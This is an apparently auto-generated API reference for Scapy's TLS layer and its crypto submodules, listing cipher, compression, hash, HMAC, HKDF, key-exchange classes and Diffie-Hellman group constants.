recv(data)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcserver.py#L210-L384]

	




	
classmethod spawn(transport, iface=None, port=135, bg=False, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcserver.py#L124-L208]

	Spawn a DCE/RPC server


	Parameters:

	
	transport – one of DCERPC_Transport


	iface – the interface to spawn it on (default: conf.iface)


	port – the port to spawn it on (for IP_TCP or the SMB server)


	bg – background mode? (default: False)



















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls package

Tools for handling TLS sessions and digital certificates.
Use load_layer(‘tls’) to load them to the main namespace.

Prerequisites:



	You may need to ‘pip install cryptography’ for the module to be loaded.







Main features:



	X.509 certificates parsing/building.


	RSA & ECDSA keys sign/verify methods.


	TLS records and sublayers (handshake…) parsing/building. Works with
versions SSLv2 to TLS 1.3. This may be enhanced by a TLS context. For
instance, if Scapy reads a ServerHello with version TLS 1.2 and a cipher
suite using AES, it will assume the presence of IVs prepending the data.
See test/tls.uts for real examples.


	TLS encryption/decryption capabilities with many ciphersuites, including
some which may be deemed dangerous. Once again, the TLS context enables
Scapy to transparently send/receive protected data if it learnt the
session secrets. Note that if Scapy acts as one side of the handshake
(e.g. reads all server-related packets and builds all client-related
packets), it will indeed compute the session secrets.


	TLS client & server basic automatons, provided for testing and tweaking
purposes. These make for a very primitive TLS stack.


	Additionally, a basic test PKI (key + certificate for a CA, a client and
a server) is provided in tls/examples/pki_test.







Unit tests:



	Various cryptography checks.


	Reading a TLS handshake between a Firefox client and a GitHub server.


	Reading TLS 1.3 handshakes from test vectors of the 8448 RFC.


	Reading a SSLv2 handshake between s_client and s_server, without PFS.


	Test our TLS server against s_client with different cipher suites.


	Test our TLS client against our TLS server (s_server is unscriptable).


	Test our TLS client against python’s SSL Socket wrapper (for TLS 1.3)







TODO list (may it be carved away by good souls):



	Features to add (or wait for) in the cryptography library:



	the compressed EC point format.









	About the automatons:



	Allow upgrade from TLS 1.2 to TLS 1.3 in the Automaton client.
Currently we’ll use TLS 1.3 only if the automaton client was given
version=”tls13”.


	Add various checks for discrepancies between client and server.
Is the ServerHello ciphersuite ok? What about the SKE params? Etc.


	Add some examples which illustrate how the automatons could be used.
Typically, we could showcase this with Heartbleed.


	Allow the server to store both one RSA key and one ECDSA key, and
select the right one to use according to the ClientHello suites.









	Miscellaneous:



	Define several Certificate Transparency objects.


	Mostly unused features : DSS, fixed DH, SRP, char2 curves…















Subpackages



	scapy.layers.tls.crypto package







Submodules



	scapy.layers.tls.all

	scapy.layers.tls.automaton

	scapy.layers.tls.automaton_cli

	scapy.layers.tls.automaton_srv

	scapy.layers.tls.basefields

	scapy.layers.tls.cert

	scapy.layers.tls.extensions

	scapy.layers.tls.handshake

	scapy.layers.tls.handshake_sslv2

	scapy.layers.tls.keyexchange

	scapy.layers.tls.keyexchange_tls13

	scapy.layers.tls.record

	scapy.layers.tls.record_sslv2

	scapy.layers.tls.record_tls13

	scapy.layers.tls.session

	scapy.layers.tls.tools









            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto package

Cryptographic capabilities for TLS.


Submodules



	scapy.layers.tls.crypto.all

	scapy.layers.tls.crypto.cipher_aead

	scapy.layers.tls.crypto.cipher_block

	scapy.layers.tls.crypto.cipher_stream

	scapy.layers.tls.crypto.ciphers

	scapy.layers.tls.crypto.common

	scapy.layers.tls.crypto.compression

	scapy.layers.tls.crypto.groups

	scapy.layers.tls.crypto.h_mac

	scapy.layers.tls.crypto.hash

	scapy.layers.tls.crypto.hkdf

	scapy.layers.tls.crypto.kx_algs

	scapy.layers.tls.crypto.md4

	scapy.layers.tls.crypto.pkcs1

	scapy.layers.tls.crypto.prf

	scapy.layers.tls.crypto.suites









            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.all

Aggregate some TLS crypto objects.




            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.cipher_aead

Authenticated Encryption with Associated Data ciphers.

RFC 5288 introduces new ciphersuites for TLS 1.2 which are based on AES in
Galois/Counter Mode (GCM). RFC 6655 in turn introduces AES_CCM ciphersuites.
The related AEAD algorithms are defined in RFC 5116. Later on, RFC 7905
introduced cipher suites based on a ChaCha20-Poly1305 construction.


	
exception scapy.layers.tls.crypto.cipher_aead.AEADTagError[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/cipher_aead.py#L52-L56]

	Bases: Exception

Raised when MAC verification fails.






	
class scapy.layers.tls.crypto.cipher_aead.AESCCM[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/cipher_aead.py#L31-L32]

	Bases: object








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.cipher_block

Block ciphers.




            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.cipher_stream

Stream ciphers.


	
class scapy.layers.tls.crypto.cipher_stream.Cipher_NULL(key=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/cipher_stream.py#L114-L132]

	Bases: _StreamCipher


	
decrypt(data)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/cipher_stream.py#L131-L132]

	




	
encrypt(data)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/cipher_stream.py#L128-L129]

	




	
key_len = 0

	




	
name = 'NULL'

	




	
snapshot()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/cipher_stream.py#L123-L126]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.ciphers

TLS ciphers.




            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.common

TLS ciphers.


	
exception scapy.layers.tls.crypto.common.CipherError[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/common.py#L10-L14]

	Bases: Exception

Raised when .decrypt() or .auth_decrypt() fails.








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.compression

TLS compression.


	
class scapy.layers.tls.crypto.compression.Comp_Deflate[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/compression.py#L53-L70]

	Bases: _GenericComp

DEFLATE algorithm, specified for TLS by RFC 3749.


	
compress(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/compression.py#L60-L63]

	




	
decompress(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/compression.py#L65-L66]

	




	
name = 'deflate'

	




	
val = 1

	








	
class scapy.layers.tls.crypto.compression.Comp_LZS[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/compression.py#L73-L87]

	Bases: _GenericComp

Lempel-Zic-Stac (LZS) algorithm, specified for TLS by RFC 3943.
XXX No support for now.


	
compress(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/compression.py#L81-L83]

	




	
decompress(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/compression.py#L85-L87]

	




	
name = 'LZS'

	




	
val = 64

	








	
class scapy.layers.tls.crypto.compression.Comp_NULL[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/compression.py#L39-L50]

	Bases: _GenericComp

The default and advised compression method for TLS: doing nothing.


	
compress(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/compression.py#L46-L47]

	




	
decompress(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/compression.py#L49-L50]

	




	
name = 'null'

	




	
val = 0

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.groups

This is a register for DH groups from RFC 3526 and RFC 4306.
At this time the groups from RFC 7919 have not been registered by openssl,
thus they cannot be imported from the cryptography library.

We also provide TLS identifiers for these DH groups and also the ECDH groups.
(Note that the equivalent of _ffdh_groups for ECDH is ec._CURVE_TYPES.)


	
class scapy.layers.tls.crypto.groups.ffdhe2048[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/groups.py#L234-L249]

	Bases: _FFDHParams


	
g = 2

	




	
m = 32317006071311007300153513477825163362488057133489075174588434139269806834136210002792056362640164685458556357935330816928829023080573472625273554742461245741026202527916572972862706300325263428213145766931414223654220941111348629991657478268034230553086349050635557712219187890332729569696129743856241741236237225197346402691855797767976823014625397933058015226858730761197532436467475855460715043896844940366130497697812854295958659597567051283852132784468522925504568272879113720098931873959143374175837826000278034973198552060607533234122603254684088120031105907484281003994966956119696956248629032338072839127039

	




	
mLen = 2048

	








	
class scapy.layers.tls.crypto.groups.ffdhe3072[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/groups.py#L252-L272]

	Bases: _FFDHParams


	
g = 2

	




	
m = 5809605995369958062758586654274580047791722104970656507438869740087793294939022179753100900150316602414836960597893531254315756065700170507943025794723871619068282822579148207659984331724286057133800207014820356957933334364535176201393094406964280368146360322417397201921556656310696298417414318434929392806928868314831784332237038568260988712237196665742900353512788403877776568945491183287529096888884348887176901995757588549340219807606149955056871781046117195453427070254533858964729101754281121787330325506574928503501334937579191349178901801866451262831560570379780282604068262795024384318599710948857446185134652829941527736472860172354516733867877780829051346167153594329592339252295871976889069885964128038593002336846153522149026229984394781638501125312676451837144945451331832522946684620954184360294871798125320434686136230055213248587935623124338652624786221871129902570119964134282018641257113252046271726747647

	




	
mLen = 3072

	








	
class scapy.layers.tls.crypto.groups.ffdhe4096[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/groups.py#L275-L301]

	Bases: _FFDHParams


	
g = 2

	




	
m = 1044388881413152506673611132423542708364181673367771525125030890756881099188024532056304793061869328458723091803972939229793654985168401497491717574483844225116618212565649899896238061528255690984013755361148305106047581812557457571303413897964307070369153233034916545609049161117676542252417034306148432734874401682098205055813065377495410934435776008569464677021023433005437163880753068613673525551966829473007537177831003494630326494021352410947409155250518131329542947165352164089215019548909074312164647627938366550236314760864116934087960021077839688388383033906117940935023026686459274599124189299486771919466921436930468113859003854695674493896608503326776616230412252016237753188005160515672431703429026925450722225213972891936880551722374424500117253400391608019951133386097176734162660461073160502839490488652900367939577292447038637156268014222959401811270825513710710113193757653852931049810187522670964988718456427706279024201400130351029277257873323362974483425793829163819060563081096261611614988801585554385004830748976181157545121697905898543562330970182151097394600286811868072516047394404389555706298311761588649133904051123770516767707951778179308436153604841663369568605395358405635911568855382987714763476172799

	




	
mLen = 4096

	








	
class scapy.layers.tls.crypto.groups.ffdhe6144[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/groups.py#L304-L340]

	Bases: _FFDHParams


	
g = 2

	




	
m = 33751521821438561184324892992841956031256524096764762523080427484131368183681238652286303439277919364419605375975741556865385545908845926426890806171934808386673338677817446992026011784349026750519375730205067498701350657030856602039247991829540145540001367697563530312238373189195859410680196740818496273776863982316239487439125584973486191474973070378586678136324790578680454630958344992260559731819239256040561423139407134895441043521777796400880951101664061960549417775619248830729218197463598192224062477224088661984618875141239361375810191700348746470517603586330742337739315086785758610522626080327305070861763732997096646270232538049631764978124370714033713690749348727603833565215088374348155839869467418301934486261774031333194202002514049598635757051715292153270068806927857370077400854342621469193035173582620808395011965872285119963665326566931152118419683195410230531880091058340135241442529412915698052541447285219904877547903853970539536057866360165883117245413187530187706879654021604384751733362734886086447963479243086334556742008371133320333144330529868075901065270101499033142677098456216621473599132476055885593228992805674421717912030137492923124370487889214032208165952268509981501451774970889626262931401169981636584425302941104561318586295950568633223864381392065855785614286866466034588630668284169362643876828113430270351563540045399616908093185001539414731258530233312567034617287652871707877648601789117465138822759448972467259851264567429611605233655993068745892528795005477239451835762239158148450946495583269774730192968123453831376884299400027264972551783838651516361577307080496493669697500674115993933560984134638146861375527138211765789496434131148421504162050232089029807657513443213647811723915569891007483031985943458980395910188354328838067537352640645494922975415613895710751245784814785127169311178294820863

	




	
mLen = 6144

	








	
class scapy.layers.tls.crypto.groups.ffdhe8192[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/groups.py#L343-L390]

	Bases: _FFDHParams


	
g = 2

	




	
m = 1090748135619415929444037382073202164125305063117061359021210911270577744302484095783585256262132857867507012151327745319420949480631077659230943007731372290338916318467056551341312388724237204552630979526938946243971958249567992270660707645223444998212375042421215776901548713954608377879903140801084739259304885738884241557789963639848414142435545413461220375392883746746009571997041033445022502762816331857033727315823681421531580986559568582495054304419334754793864359536511580585755680437972489876200744058648895832633694632513670176667389094435272527511943458451278617893700596377728765952665861962906447628133961178002643746220845591569312550242539556477924846824431386227398784372946565741502410953510925086230339755945668395462836859386976915262545264219099083866412323338929445556193690276085130255735707017517324908584556020047122304601806052013210478673966121765822384984613134062610932880821764360557629800471942620120350089258471142266672486905811824890197561222168259425622075380074970894661940191022351313937794403179128925897399112543950028771599485900567258712506491423242565563135524281249329012935005778031068703683453260896098798641811119050812310043452672866472626886632040451127891259822859833579017734578653167790168028670602474730129723339966367629299069464612922206043242915619930604287973659968151168649532362252217391606094542229202850891990149423286722373933582772946978151293864418092658361871788530836011433246848517279350728403540496593224145424561966649653985963026020941223187837459880455379494869707430746485961836217272806165182791750397289355418934743450060932235238237908010122017218143239665855653767803345566744660974127130587188591627469364051467546830550982678041483517603551345004201416166657317979133177076850863915723452487089990921274837044452675718747451622274394568025709298240157360143554038242669443266557467589294627069491899039816156659993760960331555864960579941903669595533661959937683218286259759942024512967175841717416769943853374953316002333533954475281180536503757029544656828281916590129722443603212328905281386443054134068074845098476931062612287259260077268525729384552957078890543508903050684066466350832645258291471581992414681774952272964607180615323323707230823981670673369901279153005955624089037761236230721391005676907275360233030103877306374767486038871773571307196997482447151534288054433129088702568193019402125710114040359224543481208871491986232520827933323475832217514514887471827867630829567

	




	
mLen = 8192

	








	
class scapy.layers.tls.crypto.groups.modp1024[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/groups.py#L59-L67]

	Bases: _FFDHParams


	
g = 2

	




	
m = 179769313486231590770839156793787453197860296048756011706444423684197180216158519368947833795864925541502180565485980503646440548199239100050792877003355816639229553136239076508735759914822574862575007425302077447712589550957937778424442426617334727629299387668709205606050270810842907692932019128194467627007

	




	
mLen = 1024

	








	
class scapy.layers.tls.crypto.groups.modp1536[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/groups.py#L70-L81]

	Bases: _FFDHParams


	
g = 2

	




	
m = 2410312426921032588552076022197566074856950548502459942654116941958108831682612228890093858261341614673227141477904012196503648957050582631942730706805009223062734745341073406696246014589361659774041027169249453200378729434170325843778659198143763193776859869524088940195577346119843545301547043747207749969763750084308926339295559968882457872412993810129130294592999947926365264059284647209730384947211681434464714438488520940127459844288859336526896320919633919

	




	
mLen = 1536

	








	
class scapy.layers.tls.crypto.groups.modp2048[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/groups.py#L84-L98]

	Bases: _FFDHParams


	
g = 2

	




	
m = 32317006071311007300338913926423828248817941241140239112842009751400741706634354222619689417363569347117901737909704191754605873209195028853758986185622153212175412514901774520270235796078236248884246189477587641105928646099411723245426622522193230540919037680524235519125679715870117001058055877651038861847280257976054903569732561526167081339361799541336476559160368317896729073178384589680639671900977202194168647225871031411336429319536193471636533209717077448227988588565369208645296636077250268955505928362751121174096972998068410554359584866583291642136218231078990999448652468262416972035911852507045361090559

	




	
mLen = 2048

	








	
class scapy.layers.tls.crypto.groups.modp3072[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/groups.py#L101-L120]

	Bases: _FFDHParams


	
g = 2

	




	
m = 5809605995369958062791915965639201402176612226902900533702900882779736177890990861472094774477339581147373410185646378328043729800750470098210924487866935059164371588168047540943981644516632755067501626434556398193186628990071248660819361205119793693985433297036118232914410171876807536457391277857011849897410207519105333355801121109356897459426271845471397952675959440793493071628394122780510124618488232602464649876850458861245784240929258426287699705312584509625419513463605155428017165714465363094021609290561084025893662561222573202082865797821865270991145082200656978177192827024538990239969175546190770645685893438011714430426409338676314743571154537142031573004276428701433036381801705308659830751190352946025482059931306571004727362479688415574702596946457770284148435989129632853918392117997472632693078113129886487399347796982772784615865232621289656944284216824611318709764535152507354116344703769998514148343807

	




	
mLen = 3072

	








	
class scapy.layers.tls.crypto.groups.modp4096[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/groups.py#L123-L148]

	Bases: _FFDHParams


	
g = 2

	




	
m = 1044388881413152506679602719846529545831269060992135009022588756444338172022322690710444046669809783930111585737890362691860127079270495454517218673016928427459146001866885779762982229321192368303346235204368051010309155674155697460347176946394076535157284994895284821633700921811716738972451834979455897010306333468590751358365138782250372269117968985194322444535687415522007151638638141456178420621277822674995027990278673458629544391736919766299005511505446177668154446234882665961680796576903199116089347634947187778906528008004756692571666922964122566174582776707332452371001272163776841229318324903125740713574141005124561965913888899753461735347970011693256316751660678950830027510255804846105583465055446615090444309583050775808509297040039680057435342253926566240898195863631588888936364129920059308455669454034010391478238784189888594672336242763795138176353222845524644040094258962433613354036104643881925238489224010194193088911666165584229424668165441688927790460608264864204237717002054744337988941974661214699689706521543006262604535890998125752275942608772174376107314217749233048217904944409836238235772306749874396760463376480215133461333478395682746608242585133953883882226786118030184028136755970045385534758453247

	




	
mLen = 4096

	








	
class scapy.layers.tls.crypto.groups.modp6144[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/groups.py#L151-L182]

	Bases: _FFDHParams


	
g = 2

	




	
m = 33751521821438561184518523159967412330064897805741846548173890474429429901326672445203235101919165483964194359460994881062089387893762814044257438204432573941083014827006090258925875161018096327732335800595831915976014208822304007327848132734933297885803213675261564962603340457220776826322500058091310967253976619973988033663666385188155212656268079501726223369693427999804134467810120772356498596945532366527400517575471969335854905274504119509592366013711954148258884879224599915203456315881034776553083676995718335598586395591169999570824515035017543533352697525287753332500527176569576894926734950469293596134095086603716860086302051544539652689091299099784588919052383463057789440565460681441902442399956419060521629604697347879024654313800186078316526964529288062740879011035175920059192178561473199006205896719435014765345518490882366607110905303449152556221163232127426440691921134648766635695850239231304591744215610985029636895406718880766308249227315984267542266259489684372223916445411015900506239419267909716320331208988978180868987431623710347617992356201449023892203230133009421463914291201346063125219636964261683591541014344239275340735690997732222069758773963390876360546515755280517042160525487302898122311669799679447530453600399342697032714458549591285939453949034981248114322322367238645042515984447890788917823576330019151696568654314153058547592091366014550143819685170068343700104677609041166369760080933413605498962382077778845599834907475953430787446201384567328530675275792962354883770806900827183685718353469574731680520621944540947734619035177180057973022652571032196598229259194875709994709721793154158686515748507274224181316948797104601068212015232921691482496346854413698719750190601102705274481050543239815130686073601076304512284549218459846046082253596762433827419060089029417044871218316020923109988915707117567

	




	
mLen = 6144

	








	
class scapy.layers.tls.crypto.groups.modp768[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/groups.py#L49-L56]

	Bases: _FFDHParams


	
g = 2

	




	
m = 1552518092300708935130918131258481755631334049434514313202351194902966239949102107258669453876591642442910007680288864229150803718918046342632727613031282983744380820890196288509170691316593175367469551763119843371637221007210577919

	




	
mLen = 768

	








	
class scapy.layers.tls.crypto.groups.modp8192[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/groups.py#L185-L231]

	Bases: _FFDHParams


	
g = 2

	




	
m = 1090748135619415929450294929359784500348155124953172211774101106966150168922785639028532473848836817769712164169076432969224698752674677662739994265785437233596157045970922338040698100507861033047312331823982435279475700199860971612732540528796554502867919746776983759391475987142521315878719577519148811830879919426939958487087540965716419167467499326156226529675209172277001377591248147563782880558861083327174154014975134893125116015776318890295960698011614157721282527539468816519319333337503114777192360412281721018955834377615480468479252748867320362385355596601795122806756217713579819870634321561907813255153703950795271232652404894983869492174481652303803498881366210508647263668376514131031102336837488999775744046733651827239395353540348414872854639719294694323450186884189822544540647226987292160693184734654941906936646576130260972193280317171696418971553954161446191759093719524951116705577362073481319296041201283516154269044389257727700289684119460283480452306204130024913879981135908026983868205969318167819680850998649694416907952712904962404937775789698917207356355227455066183815847669135530549755439819480321732925869069136146085326382334628745456398071603058051634209386708703306545903199608523824513729625136659128221100967735450519952404248198262813831097374261650380017277916975324134846574681307337017380830353680623216336949471306191686438249305686413380231046096450953594089375540285037292470929395114028305547452584962074309438151825437902976012891749355198678420603722034900311364893046495761404333938686140037848030916292543273684533640032637639100774502371542479302473698388692892420946478947733800387782741417786484770190108867879778991633218628640533982619322466154883011452291890252336487236086654396093853898628805813177559162076363154436494477507871294119841637867701722166609831201845484078070518041336869808398454625586921201308185638888082699408686536045192649569198110353659943111802300636106509865023943661829436426563007917282050894429388841748885398290707743052973605359277515749619730823773215894755121761467887865327707115573804264519206349215850195195364813387526811742474131549802130246506341207020335797706780705406945275438806265978516209706795702579244075380490231741030862614968783306207869687868108423639971983209077624758080499988275591392787267627182442892809646874228263172435642368588260139161962836121481966092745325488641054238839295138992979335446110090325230955276870524611359124918392740353154294858383359
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scapy.layers.tls.crypto.h_mac

HMAC classes.


	
exception scapy.layers.tls.crypto.h_mac.HMACError[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L47-L51]

	Bases: Exception

Raised when HMAC verification fails.






	
scapy.layers.tls.crypto.h_mac.Hmac(key, hashtype)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L124-L128]

	Return Hmac object from Hash object and key






	
class scapy.layers.tls.crypto.h_mac.Hmac_MD4(key=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L96-L97]

	Bases: _GenericHMAC


	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L45-L47]

	alias of Hash_MD4






	
hmac_len = 16

	




	
key_len = 16

	




	
name = 'HMAC-MD4'

	








	
class scapy.layers.tls.crypto.h_mac.Hmac_MD5(key=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L100-L101]

	Bases: _GenericHMAC


	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L50-L52]

	alias of Hash_MD5






	
hmac_len = 16

	




	
key_len = 16

	




	
name = 'HMAC-MD5'

	








	
class scapy.layers.tls.crypto.h_mac.Hmac_NULL(key=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L85-L93]

	Bases: _GenericHMAC


	
digest(tbd)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L89-L90]

	




	
digest_sslv3(tbd)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L92-L93]

	




	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L38-L42]

	alias of Hash_NULL






	
hmac_len = 0

	




	
key_len = 0

	




	
name = 'HMAC-NULL'

	








	
class scapy.layers.tls.crypto.h_mac.Hmac_SHA(key=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L104-L105]

	Bases: _GenericHMAC


	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L55-L57]

	alias of Hash_SHA






	
hmac_len = 20

	




	
key_len = 20

	




	
name = 'HMAC-SHA'

	








	
class scapy.layers.tls.crypto.h_mac.Hmac_SHA224(key=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L108-L109]

	Bases: _GenericHMAC


	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L60-L62]

	alias of Hash_SHA224






	
hmac_len = 28

	




	
key_len = 28

	




	
name = 'HMAC-SHA224'

	








	
class scapy.layers.tls.crypto.h_mac.Hmac_SHA256(key=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L112-L113]

	Bases: _GenericHMAC


	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L65-L67]

	alias of Hash_SHA256






	
hmac_len = 32

	




	
key_len = 32

	




	
name = 'HMAC-SHA256'

	








	
class scapy.layers.tls.crypto.h_mac.Hmac_SHA384(key=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L116-L117]

	Bases: _GenericHMAC


	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L70-L72]

	alias of Hash_SHA384






	
hmac_len = 48

	




	
key_len = 48

	




	
name = 'HMAC-SHA384'

	








	
class scapy.layers.tls.crypto.h_mac.Hmac_SHA512(key=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L120-L121]

	Bases: _GenericHMAC


	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L75-L77]

	alias of Hash_SHA512






	
hmac_len = 64

	




	
key_len = 64

	




	
name = 'HMAC-SHA512'

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.hash

Hash classes.


	
class scapy.layers.tls.crypto.hash.Hash_MD4[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L45-L47]

	Bases: _GenericHash


	
hash_cls[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/md4.py#L16-L95]

	alias of MD4






	
hash_len = 16

	




	
name = 'MD4'

	








	
class scapy.layers.tls.crypto.hash.Hash_MD5[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L50-L52]

	Bases: _GenericHash


	
hash_cls(*, usedforsecurity=True)

	Returns a md5 hash object; optionally initialized with a string






	
hash_len = 16

	




	
name = 'MD5'

	








	
class scapy.layers.tls.crypto.hash.Hash_NULL[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L38-L42]

	Bases: _GenericHash


	
digest(tbd)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L41-L42]

	




	
hash_len = 0

	




	
name = 'NULL'

	








	
class scapy.layers.tls.crypto.hash.Hash_SHA[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L55-L57]

	Bases: _GenericHash


	
hash_cls(*, usedforsecurity=True)

	Returns a sha1 hash object; optionally initialized with a string






	
hash_len = 20

	




	
name = 'SHA'

	








	
class scapy.layers.tls.crypto.hash.Hash_SHA224[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L60-L62]

	Bases: _GenericHash


	
hash_cls(*, usedforsecurity=True)

	Returns a sha224 hash object; optionally initialized with a string






	
hash_len = 28

	




	
name = 'SHA224'

	








	
class scapy.layers.tls.crypto.hash.Hash_SHA256[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L65-L67]

	Bases: _GenericHash


	
hash_cls(*, usedforsecurity=True)

	Returns a sha256 hash object; optionally initialized with a string






	
hash_len = 32

	




	
name = 'SHA256'

	








	
class scapy.layers.tls.crypto.hash.Hash_SHA384[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L70-L72]

	Bases: _GenericHash


	
hash_cls(*, usedforsecurity=True)

	Returns a sha384 hash object; optionally initialized with a string






	
hash_len = 48

	




	
name = 'SHA384'

	








	
class scapy.layers.tls.crypto.hash.Hash_SHA512[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L75-L77]

	Bases: _GenericHash


	
hash_cls(*, usedforsecurity=True)

	Returns a sha512 hash object; optionally initialized with a string






	
hash_len = 64

	




	
name = 'SHA512'

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.hkdf

Stateless HKDF for TLS 1.3.


	
class scapy.layers.tls.crypto.hkdf.TLS13_HKDF(**kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hkdf.py#L22-L70]

	Bases: object


	
compute_verify_data(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
derive_secret(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
expand(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
expand_label(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
extract(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.kx_algs

Key Exchange algorithms as listed in appendix C of RFC 4346.

XXX No support yet for PSK (also, no static DH, DSS, SRP or KRB).


	
class scapy.layers.tls.crypto.kx_algs.KX_DHE_RSA[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L78-L81]

	Bases: _GenericKX


	
anonymous = False

	




	
client_kx_msg_cls[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L725-L788]

	alias of ClientDiffieHellmanPublic






	
descr = 'Ephemeral DH with RSA signature'

	




	
export = False

	




	
name = 'DHE_RSA'

	




	
no_ske = False

	




	
server_kx_msg_cls(m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L80-L80]

	








	
class scapy.layers.tls.crypto.kx_algs.KX_DHE_RSA_EXPORT[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L103-L104]

	Bases: KX_DHE_RSA


	
anonymous = False

	




	
descr = 'Ephemeral DH with RSA signature, export version'

	




	
export = True

	




	
name = 'DHE_RSA_EXPORT'

	




	
no_ske = False

	








	
